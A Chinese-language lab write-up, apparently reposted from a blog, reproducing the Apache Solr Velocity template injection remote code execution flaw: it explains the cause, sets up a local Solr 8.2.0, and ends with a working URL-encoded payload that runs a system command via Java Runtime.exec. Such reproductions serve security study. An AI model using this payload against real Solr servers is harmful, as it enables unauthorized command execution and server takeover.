Apache Solr Velocity模板注入RCE漏洞復現
一、Apache Solr介紹
Solr是一個獨立的企業級搜索應用服務器,它對外提供類似于web-service的API介面,用戶可以通過http請求,向搜索引擎服務器提交一定格式的XML檔案,生成索引,也可以通過http get操作提出查找請求,并得到XML格式的回傳結果,
二、漏洞描述
Solr中存在VelocityResponseWriter組件,攻擊者可以構造特定請求修改相關配置,使VelocityResponseWriter組件允許加載指定模板,進而導致Velocity模版注入遠程命令執行漏洞,攻擊者利用該漏洞可以直接獲取到服務器權限,
漏洞產生原因:
當攻擊者可以直接訪問Solr控制臺時,可以通過發送類似/節點名/config的POST請求對該節點的組態檔做更改Apache Solr默認集成VelocityResponseWriter插件,在該插件的初始化引數中的params.resource.loader.enabled這個選項是用來控制是否允許引數資源加載器在Solr請求引數中指定模板,默認設定是false,當設定params.resource.loader.enabled為ture時,將允許用戶通過設定請求中的引數來指定相關資源加載,這也就意味著攻擊者可以通過構造一個具有威脅的攻擊請求,在服務器上進行命令執行,
三、漏洞影響版本
Apache Solr 5.x - 8.2.0,存在config API版本
四、漏洞環境搭建
1、 安裝java環境

2、下載Apache Solr 8.2.0,下載地址: https://www.apache.org/dyn/closer.lua/lucene/solr/8.2.0/solr-8.2.0.zip
3、解壓然后進入bin目錄執行solr.cmd start

4、瀏覽器訪問192.168.10.171:8983,環境搭建成功

五、漏洞復現
1、重新啟動,再次訪問192.168.10.171:8983/solr發現沒有創建core, 先手動在/server/solr/目錄下創建一個test的檔案夾,然后將/server/solr/configsets/_default/下的conf目錄拷貝到test目錄下


2、然后按照如下圖所示創建一個名為test的core

3、然后訪問查看該應用config檔案是否可以訪問

4、Apache Solr默認集成VelocityResponseWriter插件,該插件初始化引數中的params.resource.loader.enabled默認值設定為false,但是可以通過POST請求直接修改集合設定,將其設定為true,然后就可以構造特殊的GET請求來實作遠程代碼執行,

5、接下來我們就可以構造payload來實作RCE
Payload如下:
/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

-----------------------------------------------------------------------------------------------------
參考:
POC地址: https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/57031.html
標籤:其他
上一篇:cisco 各類子網的劃分
